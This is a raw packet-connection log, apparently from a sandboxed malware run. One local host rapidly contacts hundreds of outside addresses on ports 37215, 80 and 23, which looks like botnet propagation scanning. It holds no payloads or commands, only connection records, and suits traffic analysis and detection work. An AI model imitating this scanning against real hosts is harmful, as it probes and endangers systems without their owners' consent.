Dec 3, 2024 22:16:54.181452036 CET	37451	37215	192.168.2.23	156.99.136.42
Dec 3, 2024 22:16:54.181457996 CET	37451	37215	192.168.2.23	197.128.163.41
Dec 3, 2024 22:16:54.181458950 CET	37451	37215	192.168.2.23	197.100.93.30
Dec 3, 2024 22:16:54.181458950 CET	37451	37215	192.168.2.23	41.71.136.34
Dec 3, 2024 22:16:54.181458950 CET	37451	37215	192.168.2.23	156.145.63.102
Dec 3, 2024 22:16:54.181459904 CET	37451	37215	192.168.2.23	41.222.140.144
Dec 3, 2024 22:16:54.181472063 CET	37451	37215	192.168.2.23	41.145.66.213
Dec 3, 2024 22:16:54.181472063 CET	37451	37215	192.168.2.23	41.214.167.105
Dec 3, 2024 22:16:54.181478024 CET	37451	37215	192.168.2.23	197.241.59.192
Dec 3, 2024 22:16:54.181478977 CET	56738	37215	192.168.2.23	197.199.137.232
Dec 3, 2024 22:16:54.181484938 CET	37451	37215	192.168.2.23	197.24.34.28
Dec 3, 2024 22:16:54.181490898 CET	37451	37215	192.168.2.23	156.32.111.154
Dec 3, 2024 22:16:54.181499958 CET	37451	37215	192.168.2.23	197.26.251.231
Dec 3, 2024 22:16:54.181504965 CET	37451	37215	192.168.2.23	41.122.128.228
Dec 3, 2024 22:16:54.181510925 CET	37451	37215	192.168.2.23	156.33.150.139
Dec 3, 2024 22:16:54.181510925 CET	37451	37215	192.168.2.23	197.211.147.20
Dec 3, 2024 22:16:54.181514978 CET	37451	37215	192.168.2.23	41.18.36.86
Dec 3, 2024 22:16:54.181518078 CET	37451	37215	192.168.2.23	197.95.9.15
Dec 3, 2024 22:16:54.181518078 CET	37451	37215	192.168.2.23	41.75.125.108
Dec 3, 2024 22:16:54.181519985 CET	37451	37215	192.168.2.23	156.23.180.176
Dec 3, 2024 22:16:54.181519985 CET	37451	37215	192.168.2.23	41.4.81.61
Dec 3, 2024 22:16:54.181529999 CET	37451	37215	192.168.2.23	156.84.222.245
Dec 3, 2024 22:16:54.181535959 CET	37451	37215	192.168.2.23	156.183.100.109
Dec 3, 2024 22:16:54.181535959 CET	37451	37215	192.168.2.23	156.170.191.54
Dec 3, 2024 22:16:54.181538105 CET	37451	37215	192.168.2.23	41.81.48.205
Dec 3, 2024 22:16:54.181538105 CET	37451	37215	192.168.2.23	41.149.104.171
Dec 3, 2024 22:16:54.181556940 CET	37451	37215	192.168.2.23	156.244.52.102
Dec 3, 2024 22:16:54.181560040 CET	37451	37215	192.168.2.23	156.90.29.135
Dec 3, 2024 22:16:54.181562901 CET	37451	37215	192.168.2.23	156.220.144.89
Dec 3, 2024 22:16:54.181566000 CET	37451	37215	192.168.2.23	41.219.238.255
Dec 3, 2024 22:16:54.181566954 CET	37451	37215	192.168.2.23	156.34.14.163
Dec 3, 2024 22:16:54.181579113 CET	37451	37215	192.168.2.23	197.153.111.248
Dec 3, 2024 22:16:54.181588888 CET	37451	37215	192.168.2.23	41.180.46.12
Dec 3, 2024 22:16:54.181593895 CET	37451	37215	192.168.2.23	156.243.120.104
Dec 3, 2024 22:16:54.181593895 CET	37451	37215	192.168.2.23	41.39.126.73
Dec 3, 2024 22:16:54.181593895 CET	37451	37215	192.168.2.23	156.54.67.112
Dec 3, 2024 22:16:54.181593895 CET	37451	37215	192.168.2.23	156.85.149.41
Dec 3, 2024 22:16:54.181596994 CET	37451	37215	192.168.2.23	197.133.168.77
Dec 3, 2024 22:16:54.181596994 CET	37451	37215	192.168.2.23	197.239.124.76
Dec 3, 2024 22:16:54.181596994 CET	37451	37215	192.168.2.23	156.195.181.5
Dec 3, 2024 22:16:54.181597948 CET	37451	37215	192.168.2.23	41.178.249.176
Dec 3, 2024 22:16:54.181597948 CET	37451	37215	192.168.2.23	41.53.246.1
Dec 3, 2024 22:16:54.181601048 CET	37451	37215	192.168.2.23	197.239.151.146
Dec 3, 2024 22:16:54.181602955 CET	37451	37215	192.168.2.23	197.62.18.187
Dec 3, 2024 22:16:54.181603909 CET	37451	37215	192.168.2.23	156.182.3.21
Dec 3, 2024 22:16:54.181610107 CET	37451	37215	192.168.2.23	156.13.221.107
Dec 3, 2024 22:16:54.181610107 CET	37451	37215	192.168.2.23	156.205.160.112
Dec 3, 2024 22:16:54.181622028 CET	37451	37215	192.168.2.23	156.236.33.95
Dec 3, 2024 22:16:54.181622028 CET	37451	37215	192.168.2.23	197.111.76.184
Dec 3, 2024 22:16:54.181623936 CET	37451	37215	192.168.2.23	41.192.71.197
Dec 3, 2024 22:16:54.181623936 CET	37451	37215	192.168.2.23	156.205.187.55
Dec 3, 2024 22:16:54.181623936 CET	37451	37215	192.168.2.23	197.181.132.147
Dec 3, 2024 22:16:54.181626081 CET	37451	37215	192.168.2.23	156.163.126.169
Dec 3, 2024 22:16:54.181627035 CET	37451	37215	192.168.2.23	197.180.175.240
Dec 3, 2024 22:16:54.181626081 CET	37451	37215	192.168.2.23	41.13.180.26
Dec 3, 2024 22:16:54.181623936 CET	37451	37215	192.168.2.23	156.65.143.121
Dec 3, 2024 22:16:54.181623936 CET	37451	37215	192.168.2.23	156.241.240.110
Dec 3, 2024 22:16:54.181629896 CET	37451	37215	192.168.2.23	197.192.217.214
Dec 3, 2024 22:16:54.181631088 CET	37451	37215	192.168.2.23	156.183.209.17
Dec 3, 2024 22:16:54.181634903 CET	37451	37215	192.168.2.23	41.70.4.200
Dec 3, 2024 22:16:54.181639910 CET	37451	37215	192.168.2.23	197.253.5.146
Dec 3, 2024 22:16:54.181642056 CET	37451	37215	192.168.2.23	41.238.51.46
Dec 3, 2024 22:16:54.181643009 CET	37451	37215	192.168.2.23	156.240.62.153
Dec 3, 2024 22:16:54.181643009 CET	37451	37215	192.168.2.23	156.15.13.9
Dec 3, 2024 22:16:54.181643963 CET	37451	37215	192.168.2.23	41.201.217.26
Dec 3, 2024 22:16:54.181643963 CET	37451	37215	192.168.2.23	41.17.69.138
Dec 3, 2024 22:16:54.181643963 CET	37451	37215	192.168.2.23	197.147.215.108
Dec 3, 2024 22:16:54.181647062 CET	37451	37215	192.168.2.23	156.6.195.244
Dec 3, 2024 22:16:54.181647062 CET	37451	37215	192.168.2.23	197.245.205.39
Dec 3, 2024 22:16:54.181648016 CET	37451	37215	192.168.2.23	197.255.172.191
Dec 3, 2024 22:16:54.181648016 CET	37451	37215	192.168.2.23	156.45.136.158
Dec 3, 2024 22:16:54.181649923 CET	37451	37215	192.168.2.23	156.71.247.66
Dec 3, 2024 22:16:54.181677103 CET	37215	44256	156.219.192.223	192.168.2.23
Dec 3, 2024 22:16:54.181685925 CET	56738	37215	192.168.2.23	197.199.137.232
Dec 3, 2024 22:16:54.181943893 CET	37215	44318	156.219.192.223	192.168.2.23
Dec 3, 2024 22:16:54.182007074 CET	44318	37215	192.168.2.23	156.219.192.223
Dec 3, 2024 22:16:54.182007074 CET	44318	37215	192.168.2.23	156.219.192.223
Dec 3, 2024 22:16:54.182552099 CET	37215	35002	197.81.175.206	192.168.2.23
Dec 3, 2024 22:16:54.182770014 CET	37215	35064	197.81.175.206	192.168.2.23
Dec 3, 2024 22:16:54.182820082 CET	35064	37215	192.168.2.23	197.81.175.206
Dec 3, 2024 22:16:54.182832956 CET	35064	37215	192.168.2.23	197.81.175.206
Dec 3, 2024 22:16:54.183110952 CET	37215	50762	41.67.28.55	192.168.2.23
Dec 3, 2024 22:16:54.183454990 CET	37215	50824	41.67.28.55	192.168.2.23
Dec 3, 2024 22:16:54.183506966 CET	50824	37215	192.168.2.23	41.67.28.55
Dec 3, 2024 22:16:54.183531046 CET	50824	37215	192.168.2.23	41.67.28.55
Dec 3, 2024 22:16:54.183844090 CET	37215	48634	156.210.38.127	192.168.2.23
Dec 3, 2024 22:16:54.184149027 CET	37215	48696	156.210.38.127	192.168.2.23
Dec 3, 2024 22:16:54.184205055 CET	48696	37215	192.168.2.23	156.210.38.127
Dec 3, 2024 22:16:54.184256077 CET	48696	37215	192.168.2.23	156.210.38.127
Dec 3, 2024 22:16:54.184556007 CET	37215	50676	156.13.215.132	192.168.2.23
Dec 3, 2024 22:16:54.223637104 CET	37215	50762	41.67.28.55	192.168.2.23
Dec 3, 2024 22:16:54.223648071 CET	37215	35002	197.81.175.206	192.168.2.23
Dec 3, 2024 22:16:54.223660946 CET	37215	44256	156.219.192.223	192.168.2.23
Dec 3, 2024 22:16:54.223694086 CET	37215	56676	197.199.137.232	192.168.2.23
Dec 3, 2024 22:16:54.223731041 CET	37215	53344	156.100.250.170	192.168.2.23
Dec 3, 2024 22:16:54.227555990 CET	37215	50676	156.13.215.132	192.168.2.23
Dec 3, 2024 22:16:54.227565050 CET	37215	48634	156.210.38.127	192.168.2.23
Dec 3, 2024 22:16:54.238857031 CET	80	37707	100.53.164.49	192.168.2.23
Dec 3, 2024 22:16:54.238867044 CET	80	37707	2.126.27.220	192.168.2.23
Dec 3, 2024 22:16:54.238876104 CET	80	37707	19.2.6.115	192.168.2.23
Dec 3, 2024 22:16:54.238883972 CET	80	37707	166.205.84.52	192.168.2.23
Dec 3, 2024 22:16:54.238893032 CET	80	37707	148.28.111.157	192.168.2.23
Dec 3, 2024 22:16:54.238900900 CET	80	44398	150.222.20.65	192.168.2.23
Dec 3, 2024 22:16:54.238912106 CET	37707	80	192.168.2.23	2.126.27.220
Dec 3, 2024 22:16:54.238920927 CET	37707	80	192.168.2.23	148.28.111.157
Dec 3, 2024 22:16:54.238920927 CET	37707	80	192.168.2.23	19.2.6.115
Dec 3, 2024 22:16:54.238926888 CET	80	58022	42.222.254.70	192.168.2.23
Dec 3, 2024 22:16:54.238946915 CET	37707	80	192.168.2.23	166.205.84.52
Dec 3, 2024 22:16:54.238954067 CET	37707	80	192.168.2.23	100.53.164.49
Dec 3, 2024 22:16:54.239006996 CET	80	54800	89.137.176.141	192.168.2.23
Dec 3, 2024 22:16:54.239170074 CET	80	42992	82.147.27.113	192.168.2.23
Dec 3, 2024 22:16:54.239984035 CET	80	59578	179.140.51.217	192.168.2.23
Dec 3, 2024 22:16:54.240811110 CET	80	59154	208.52.232.31	192.168.2.23
Dec 3, 2024 22:16:54.240957022 CET	80	59204	208.52.232.31	192.168.2.23
Dec 3, 2024 22:16:54.241014957 CET	59204	80	192.168.2.23	208.52.232.31
Dec 3, 2024 22:16:54.241060972 CET	59204	80	192.168.2.23	208.52.232.31
Dec 3, 2024 22:16:54.241507053 CET	53810	80	192.168.2.23	2.126.27.220
Dec 3, 2024 22:16:54.242191076 CET	52782	80	192.168.2.23	19.2.6.115
Dec 3, 2024 22:16:54.242820978 CET	36912	80	192.168.2.23	148.28.111.157
Dec 3, 2024 22:16:54.243546963 CET	53538	80	192.168.2.23	100.53.164.49
Dec 3, 2024 22:16:54.244141102 CET	33390	80	192.168.2.23	166.205.84.52
Dec 3, 2024 22:16:54.279618979 CET	80	59578	179.140.51.217	192.168.2.23
Dec 3, 2024 22:16:54.279642105 CET	80	44398	150.222.20.65	192.168.2.23
Dec 3, 2024 22:16:54.279673100 CET	80	42992	82.147.27.113	192.168.2.23
Dec 3, 2024 22:16:54.279690027 CET	80	54800	89.137.176.141	192.168.2.23
Dec 3, 2024 22:16:54.279697895 CET	80	58022	42.222.254.70	192.168.2.23
Dec 3, 2024 22:16:54.283844948 CET	80	59154	208.52.232.31	192.168.2.23
Dec 3, 2024 22:16:54.301701069 CET	37215	37451	41.195.129.201	192.168.2.23
Dec 3, 2024 22:16:54.301729918 CET	37215	37451	41.48.156.167	192.168.2.23
Dec 3, 2024 22:16:54.301743984 CET	37215	37451	156.138.215.210	192.168.2.23
Dec 3, 2024 22:16:54.301753044 CET	37215	37451	197.199.156.6	192.168.2.23
Dec 3, 2024 22:16:54.301784039 CET	37215	37451	197.236.127.19	192.168.2.23
Dec 3, 2024 22:16:54.301822901 CET	37215	53406	156.100.250.170	192.168.2.23
Dec 3, 2024 22:16:54.301851988 CET	37215	37451	156.234.118.115	192.168.2.23
Dec 3, 2024 22:16:54.301853895 CET	37451	37215	192.168.2.23	41.195.129.201
Dec 3, 2024 22:16:54.301868916 CET	37451	37215	192.168.2.23	156.138.215.210
Dec 3, 2024 22:16:54.301927090 CET	37451	37215	192.168.2.23	41.48.156.167
Dec 3, 2024 22:16:54.301930904 CET	37451	37215	192.168.2.23	156.234.118.115
Dec 3, 2024 22:16:54.301932096 CET	37451	37215	192.168.2.23	197.199.156.6
Dec 3, 2024 22:16:54.301933050 CET	37451	37215	192.168.2.23	197.236.127.19
Dec 3, 2024 22:16:54.301938057 CET	53406	37215	192.168.2.23	156.100.250.170
Dec 3, 2024 22:16:54.302042007 CET	37215	56738	197.199.137.232	192.168.2.23
Dec 3, 2024 22:16:54.302090883 CET	56738	37215	192.168.2.23	197.199.137.232
Dec 3, 2024 22:16:54.302383900 CET	37215	44318	156.219.192.223	192.168.2.23
Dec 3, 2024 22:16:54.302426100 CET	44318	37215	192.168.2.23	156.219.192.223
Dec 3, 2024 22:16:54.303046942 CET	37215	35064	197.81.175.206	192.168.2.23
Dec 3, 2024 22:16:54.303085089 CET	35064	37215	192.168.2.23	197.81.175.206
Dec 3, 2024 22:16:54.304339886 CET	37215	50824	41.67.28.55	192.168.2.23
Dec 3, 2024 22:16:54.304388046 CET	50824	37215	192.168.2.23	41.67.28.55
Dec 3, 2024 22:16:54.304615021 CET	37215	48696	156.210.38.127	192.168.2.23
Dec 3, 2024 22:16:54.304657936 CET	48696	37215	192.168.2.23	156.210.38.127
Dec 3, 2024 22:16:54.361383915 CET	80	59204	208.52.232.31	192.168.2.23
Dec 3, 2024 22:16:54.361449957 CET	80	53810	2.126.27.220	192.168.2.23
Dec 3, 2024 22:16:54.361463070 CET	59204	80	192.168.2.23	208.52.232.31
Dec 3, 2024 22:16:54.361512899 CET	53810	80	192.168.2.23	2.126.27.220
Dec 3, 2024 22:16:54.361574888 CET	53810	80	192.168.2.23	2.126.27.220
Dec 3, 2024 22:16:54.361574888 CET	53810	80	192.168.2.23	2.126.27.220
Dec 3, 2024 22:16:54.361903906 CET	53820	80	192.168.2.23	2.126.27.220
Dec 3, 2024 22:16:54.362289906 CET	80	52782	19.2.6.115	192.168.2.23
Dec 3, 2024 22:16:54.362339020 CET	52782	80	192.168.2.23	19.2.6.115
Dec 3, 2024 22:16:54.362375021 CET	52782	80	192.168.2.23	19.2.6.115
Dec 3, 2024 22:16:54.362405062 CET	52782	80	192.168.2.23	19.2.6.115
Dec 3, 2024 22:16:54.362675905 CET	52792	80	192.168.2.23	19.2.6.115
Dec 3, 2024 22:16:54.362823963 CET	80	36912	148.28.111.157	192.168.2.23
Dec 3, 2024 22:16:54.362875938 CET	36912	80	192.168.2.23	148.28.111.157
Dec 3, 2024 22:16:54.363061905 CET	36912	80	192.168.2.23	148.28.111.157
Dec 3, 2024 22:16:54.363071918 CET	36912	80	192.168.2.23	148.28.111.157
Dec 3, 2024 22:16:54.363370895 CET	36922	80	192.168.2.23	148.28.111.157
Dec 3, 2024 22:16:54.363791943 CET	80	53538	100.53.164.49	192.168.2.23
Dec 3, 2024 22:16:54.363842010 CET	53538	80	192.168.2.23	100.53.164.49
Dec 3, 2024 22:16:54.363873959 CET	53538	80	192.168.2.23	100.53.164.49
Dec 3, 2024 22:16:54.363883972 CET	53538	80	192.168.2.23	100.53.164.49
Dec 3, 2024 22:16:54.364221096 CET	53548	80	192.168.2.23	100.53.164.49
Dec 3, 2024 22:16:54.364572048 CET	80	33390	166.205.84.52	192.168.2.23
Dec 3, 2024 22:16:54.364614964 CET	33390	80	192.168.2.23	166.205.84.52
Dec 3, 2024 22:16:54.364717007 CET	33390	80	192.168.2.23	166.205.84.52
Dec 3, 2024 22:16:54.364717007 CET	33390	80	192.168.2.23	166.205.84.52
Dec 3, 2024 22:16:54.365051985 CET	33400	80	192.168.2.23	166.205.84.52
Dec 3, 2024 22:16:54.435540915 CET	80	47024	58.233.196.220	192.168.2.23
Dec 3, 2024 22:16:54.435640097 CET	47024	80	192.168.2.23	58.233.196.220
Dec 3, 2024 22:16:54.482075930 CET	80	53810	2.126.27.220	192.168.2.23
Dec 3, 2024 22:16:54.482295036 CET	80	53820	2.126.27.220	192.168.2.23
Dec 3, 2024 22:16:54.482342005 CET	53820	80	192.168.2.23	2.126.27.220
Dec 3, 2024 22:16:54.482475042 CET	53820	80	192.168.2.23	2.126.27.220
Dec 3, 2024 22:16:54.482599020 CET	80	52782	19.2.6.115	192.168.2.23
Dec 3, 2024 22:16:54.482880116 CET	80	52792	19.2.6.115	192.168.2.23
Dec 3, 2024 22:16:54.482953072 CET	52792	80	192.168.2.23	19.2.6.115
Dec 3, 2024 22:16:54.482985973 CET	52792	80	192.168.2.23	19.2.6.115
Dec 3, 2024 22:16:54.483108997 CET	80	36912	148.28.111.157	192.168.2.23
Dec 3, 2024 22:16:54.483412981 CET	80	36922	148.28.111.157	192.168.2.23
Dec 3, 2024 22:16:54.483473063 CET	36922	80	192.168.2.23	148.28.111.157
Dec 3, 2024 22:16:54.483473063 CET	36922	80	192.168.2.23	148.28.111.157
Dec 3, 2024 22:16:54.483803988 CET	80	53538	100.53.164.49	192.168.2.23
Dec 3, 2024 22:16:54.484129906 CET	80	53548	100.53.164.49	192.168.2.23
Dec 3, 2024 22:16:54.484170914 CET	53548	80	192.168.2.23	100.53.164.49
Dec 3, 2024 22:16:54.484184027 CET	53548	80	192.168.2.23	100.53.164.49
Dec 3, 2024 22:16:54.484606981 CET	80	33390	166.205.84.52	192.168.2.23
Dec 3, 2024 22:16:54.484958887 CET	80	33400	166.205.84.52	192.168.2.23
Dec 3, 2024 22:16:54.484998941 CET	33400	80	192.168.2.23	166.205.84.52
Dec 3, 2024 22:16:54.485012054 CET	33400	80	192.168.2.23	166.205.84.52
Dec 3, 2024 22:16:54.527687073 CET	80	36912	148.28.111.157	192.168.2.23
Dec 3, 2024 22:16:54.527704000 CET	80	52782	19.2.6.115	192.168.2.23
Dec 3, 2024 22:16:54.527714968 CET	80	53810	2.126.27.220	192.168.2.23
Dec 3, 2024 22:16:54.527725935 CET	80	33390	166.205.84.52	192.168.2.23
Dec 3, 2024 22:16:54.527729988 CET	80	53538	100.53.164.49	192.168.2.23
Dec 3, 2024 22:16:54.579238892 CET	42882	23	192.168.2.23	200.116.50.119
Dec 3, 2024 22:16:54.579241991 CET	59346	23	192.168.2.23	97.67.177.217
Dec 3, 2024 22:16:54.579241037 CET	45338	23	192.168.2.23	19.193.55.132
Dec 3, 2024 22:16:54.579257011 CET	32924	23	192.168.2.23	144.6.9.238
Dec 3, 2024 22:16:54.579257011 CET	35324	23	192.168.2.23	138.86.207.76
Dec 3, 2024 22:16:54.579257011 CET	38564	23	192.168.2.23	220.29.148.118
Dec 3, 2024 22:16:54.579268932 CET	37140	23	192.168.2.23	40.204.251.46
Dec 3, 2024 22:16:54.579268932 CET	58522	23	192.168.2.23	157.175.74.238
Dec 3, 2024 22:16:54.579271078 CET	47512	23	192.168.2.23	165.37.111.123
Dec 3, 2024 22:16:54.579271078 CET	38410	23	192.168.2.23	2.19.33.224
Dec 3, 2024 22:16:54.579277992 CET	43970	23	192.168.2.23	54.237.77.248
Dec 3, 2024 22:16:54.579281092 CET	54248	23	192.168.2.23	8.0.2.242
Dec 3, 2024 22:16:54.579283953 CET	50136	23	192.168.2.23	147.189.172.139
Dec 3, 2024 22:16:54.579289913 CET	47234	23	192.168.2.23	96.156.108.111
Dec 3, 2024 22:16:54.579294920 CET	50382	23	192.168.2.23	101.203.136.34
Dec 3, 2024 22:16:54.579298973 CET	56070	23	192.168.2.23	196.81.12.212
Dec 3, 2024 22:16:54.579299927 CET	40636	23	192.168.2.23	116.50.83.172
Dec 3, 2024 22:16:54.579299927 CET	54862	23	192.168.2.23	210.77.193.246
Dec 3, 2024 22:16:54.579303026 CET	35170	23	192.168.2.23	34.159.17.205
Dec 3, 2024 22:16:54.579320908 CET	49518	23	192.168.2.23	65.32.147.25
Dec 3, 2024 22:16:54.579323053 CET	51566	23	192.168.2.23	80.94.130.29
Dec 3, 2024 22:16:54.579324007 CET	35678	23	192.168.2.23	171.32.252.21
Dec 3, 2024 22:16:54.579327106 CET	52700	23	192.168.2.23	118.247.230.104
Dec 3, 2024 22:16:54.579327106 CET	43560	23	192.168.2.23	106.176.114.207
Dec 3, 2024 22:16:54.579327106 CET	38340	23	192.168.2.23	1.128.143.108
Dec 3, 2024 22:16:54.579327106 CET	33342	23	192.168.2.23	135.220.153.200
Dec 3, 2024 22:16:54.579329014 CET	51062	23	192.168.2.23	5.60.91.155
Dec 3, 2024 22:16:54.579330921 CET	43888	23	192.168.2.23	101.92.233.29
Dec 3, 2024 22:16:54.579330921 CET	37938	23	192.168.2.23	210.195.110.245
Dec 3, 2024 22:16:54.579330921 CET	42340	23	192.168.2.23	40.22.78.79
Dec 3, 2024 22:16:54.579334021 CET	60784	23	192.168.2.23	31.207.123.108
Dec 3, 2024 22:16:54.579334021 CET	56936	23	192.168.2.23	176.74.91.187
Dec 3, 2024 22:16:54.579338074 CET	59366	23	192.168.2.23	36.166.176.203
Dec 3, 2024 22:16:54.579344034 CET	55994	23	192.168.2.23	107.225.79.10
Dec 3, 2024 22:16:54.579344034 CET	38598	23	192.168.2.23	79.88.113.68
Dec 3, 2024 22:16:54.579349041 CET	58832	23	192.168.2.23	132.60.164.104
Dec 3, 2024 22:16:54.579353094 CET	58624	23	192.168.2.23	125.80.252.51
Dec 3, 2024 22:16:54.579356909 CET	56974	23	192.168.2.23	189.154.178.206
Dec 3, 2024 22:16:54.579358101 CET	35526	23	192.168.2.23	217.23.240.1
Dec 3, 2024 22:16:54.579358101 CET	50130	23	192.168.2.23	201.10.189.182
Dec 3, 2024 22:16:54.579360008 CET	45572	80	192.168.2.23	157.200.164.96
Dec 3, 2024 22:16:54.579368114 CET	54708	80	192.168.2.23	221.128.53.64
Dec 3, 2024 22:16:54.579369068 CET	50426	80	192.168.2.23	110.174.211.110
Dec 3, 2024 22:16:54.579380989 CET	34026	80	192.168.2.23	125.111.75.105
Dec 3, 2024 22:16:54.579381943 CET	45362	80	192.168.2.23	23.93.194.133
Dec 3, 2024 22:16:54.579385996 CET	55018	80	192.168.2.23	111.211.175.160
Dec 3, 2024 22:16:54.579385996 CET	33106	80	192.168.2.23	157.8.141.192
Dec 3, 2024 22:16:54.579387903 CET	60704	80	192.168.2.23	99.212.18.166
Dec 3, 2024 22:16:54.579402924 CET	37684	80	192.168.2.23	1.252.247.68
Dec 3, 2024 22:16:54.579405069 CET	34996	80	192.168.2.23	64.69.46.207
Dec 3, 2024 22:16:54.602720022 CET	80	53820	2.126.27.220	192.168.2.23
Dec 3, 2024 22:16:54.602864981 CET	53820	80	192.168.2.23	2.126.27.220
Dec 3, 2024 22:16:54.603137970 CET	80	52792	19.2.6.115	192.168.2.23
Dec 3, 2024 22:16:54.603310108 CET	52792	80	192.168.2.23	19.2.6.115
Dec 3, 2024 22:16:54.604227066 CET	80	36922	148.28.111.157	192.168.2.23
Dec 3, 2024 22:16:54.604281902 CET	36922	80	192.168.2.23	148.28.111.157
Dec 3, 2024 22:16:54.604572058 CET	80	53548	100.53.164.49	192.168.2.23
Dec 3, 2024 22:16:54.604624033 CET	53548	80	192.168.2.23	100.53.164.49
Dec 3, 2024 22:16:54.605204105 CET	80	33400	166.205.84.52	192.168.2.23
Dec 3, 2024 22:16:54.605241060 CET	33400	80	192.168.2.23	166.205.84.52
Dec 3, 2024 22:16:54.611213923 CET	54496	80	192.168.2.23	194.18.61.94
Dec 3, 2024 22:16:54.611217022 CET	55508	80	192.168.2.23	2.233.134.116
Dec 3, 2024 22:16:54.611218929 CET	40546	80	192.168.2.23	128.106.21.141
Dec 3, 2024 22:16:54.611218929 CET	55834	80	192.168.2.23	103.104.235.120
Dec 3, 2024 22:16:54.611228943 CET	56864	80	192.168.2.23	145.20.17.13
Dec 3, 2024 22:16:54.611229897 CET	42060	80	192.168.2.23	101.211.231.251
Dec 3, 2024 22:16:54.611241102 CET	33774	80	192.168.2.23	213.75.138.155
Dec 3, 2024 22:16:54.611248970 CET	46416	80	192.168.2.23	93.104.201.65
Dec 3, 2024 22:16:54.611249924 CET	37300	80	192.168.2.23	159.157.188.52
Dec 3, 2024 22:16:54.611252069 CET	48552	80	192.168.2.23	54.6.47.124
Dec 3, 2024 22:16:54.611249924 CET	41442	80	192.168.2.23	97.55.138.48
Dec 3, 2024 22:16:54.611259937 CET	60516	80	192.168.2.23	176.10.51.162
Dec 3, 2024 22:16:54.700299978 CET	23	59346	97.67.177.217	192.168.2.23
Dec 3, 2024 22:16:54.700344086 CET	23	45338	19.193.55.132	192.168.2.23
Dec 3, 2024 22:16:54.700356007 CET	23	42882	200.116.50.119	192.168.2.23
Dec 3, 2024 22:16:54.700361967 CET	23	32924	144.6.9.238	192.168.2.23
Dec 3, 2024 22:16:54.700407028 CET	23	35324	138.86.207.76	192.168.2.23
Dec 3, 2024 22:16:54.700416088 CET	23	38564	220.29.148.118	192.168.2.23
Dec 3, 2024 22:16:54.700436115 CET	23	37140	40.204.251.46	192.168.2.23
Dec 3, 2024 22:16:54.700496912 CET	23	58522	157.175.74.238	192.168.2.23
Dec 3, 2024 22:16:54.700505972 CET	23	43970	54.237.77.248	192.168.2.23
Dec 3, 2024 22:16:54.700546026 CET	23	54248	8.0.2.242	192.168.2.23
Dec 3, 2024 22:16:54.700555086 CET	23	50136	147.189.172.139	192.168.2.23
Dec 3, 2024 22:16:54.700563908 CET	23	47512	165.37.111.123	192.168.2.23
Dec 3, 2024 22:16:54.700606108 CET	23	47234	96.156.108.111	192.168.2.23
Dec 3, 2024 22:16:54.700615883 CET	23	38410	2.19.33.224	192.168.2.23
Dec 3, 2024 22:16:54.700624943 CET	23	50382	101.203.136.34	192.168.2.23
Dec 3, 2024 22:16:54.700634956 CET	23	56070	196.81.12.212	192.168.2.23
Dec 3, 2024 22:16:54.700656891 CET	47512	23	192.168.2.23	165.37.111.123
Dec 3, 2024 22:16:54.700659037 CET	23	35170	34.159.17.205	192.168.2.23
Dec 3, 2024 22:16:54.700660944 CET	58522	23	192.168.2.23	157.175.74.238
Dec 3, 2024 22:16:54.700660944 CET	50136	23	192.168.2.23	147.189.172.139
Dec 3, 2024 22:16:54.700674057 CET	38410	23	192.168.2.23	2.19.33.224
Dec 3, 2024 22:16:54.700674057 CET	32924	23	192.168.2.23	144.6.9.238
Dec 3, 2024 22:16:54.700675964 CET	45338	23	192.168.2.23	19.193.55.132
Dec 3, 2024 22:16:54.700675964 CET	54248	23	192.168.2.23	8.0.2.242
Dec 3, 2024 22:16:54.700675011 CET	43970	23	192.168.2.23	54.237.77.248
Dec 3, 2024 22:16:54.700675011 CET	42882	23	192.168.2.23	200.116.50.119
Dec 3, 2024 22:16:54.700675011 CET	37140	23	192.168.2.23	40.204.251.46
Dec 3, 2024 22:16:54.700676918 CET	35324	23	192.168.2.23	138.86.207.76
Dec 3, 2024 22:16:54.700661898 CET	59346	23	192.168.2.23	97.67.177.217
Dec 3, 2024 22:16:54.700676918 CET	38564	23	192.168.2.23	220.29.148.118
Dec 3, 2024 22:16:54.700675011 CET	56070	23	192.168.2.23	196.81.12.212
Dec 3, 2024 22:16:54.700683117 CET	50382	23	192.168.2.23	101.203.136.34
Dec 3, 2024 22:16:54.700685024 CET	37963	23	192.168.2.23	113.85.98.184
Dec 3, 2024 22:16:54.700700045 CET	37963	23	192.168.2.23	196.93.109.19
Dec 3, 2024 22:16:54.700700998 CET	37963	23	192.168.2.23	66.41.83.133
Dec 3, 2024 22:16:54.700712919 CET	47234	23	192.168.2.23	96.156.108.111
Dec 3, 2024 22:16:54.700715065 CET	35170	23	192.168.2.23	34.159.17.205
Dec 3, 2024 22:16:54.700715065 CET	37963	23	192.168.2.23	109.57.79.190
Dec 3, 2024 22:16:54.700722933 CET	37963	23	192.168.2.23	4.224.54.161
Dec 3, 2024 22:16:54.700731993 CET	37963	23	192.168.2.23	185.205.209.120
Dec 3, 2024 22:16:54.700732946 CET	37963	23	192.168.2.23	81.182.255.227
Dec 3, 2024 22:16:54.700737953 CET	37963	23	192.168.2.23	206.173.95.77
Dec 3, 2024 22:16:54.700742960 CET	23	40636	116.50.83.172	192.168.2.23
Dec 3, 2024 22:16:54.700747967 CET	37963	23	192.168.2.23	116.202.35.242
Dec 3, 2024 22:16:54.700750113 CET	37963	23	192.168.2.23	57.164.18.81
Dec 3, 2024 22:16:54.700753927 CET	23	54862	210.77.193.246	192.168.2.23
Dec 3, 2024 22:16:54.700763941 CET	37963	23	192.168.2.23	41.28.12.107
Dec 3, 2024 22:16:54.700772047 CET	37963	23	192.168.2.23	146.178.17.115
Dec 3, 2024 22:16:54.700772047 CET	37963	23	192.168.2.23	210.209.14.238
Dec 3, 2024 22:16:54.700772047 CET	37963	23	192.168.2.23	148.58.78.103
Dec 3, 2024 22:16:54.700773001 CET	37963	23	192.168.2.23	8.14.93.244
Dec 3, 2024 22:16:54.700774908 CET	37963	23	192.168.2.23	131.140.146.25
Dec 3, 2024 22:16:54.700774908 CET	40636	23	192.168.2.23	116.50.83.172
Dec 3, 2024 22:16:54.700786114 CET	54862	23	192.168.2.23	210.77.193.246
Dec 3, 2024 22:16:54.700793982 CET	37963	23	192.168.2.23	140.30.188.19
Dec 3, 2024 22:16:54.700800896 CET	37963	23	192.168.2.23	37.208.63.167
Dec 3, 2024 22:16:54.700807095 CET	37963	23	192.168.2.23	201.34.140.48
Dec 3, 2024 22:16:54.700809002 CET	37963	23	192.168.2.23	102.94.176.19
Dec 3, 2024 22:16:54.700812101 CET	37963	23	192.168.2.23	25.16.85.57
Dec 3, 2024 22:16:54.700830936 CET	37963	23	192.168.2.23	60.98.173.90
Dec 3, 2024 22:16:54.700835943 CET	37963	23	192.168.2.23	89.99.121.101
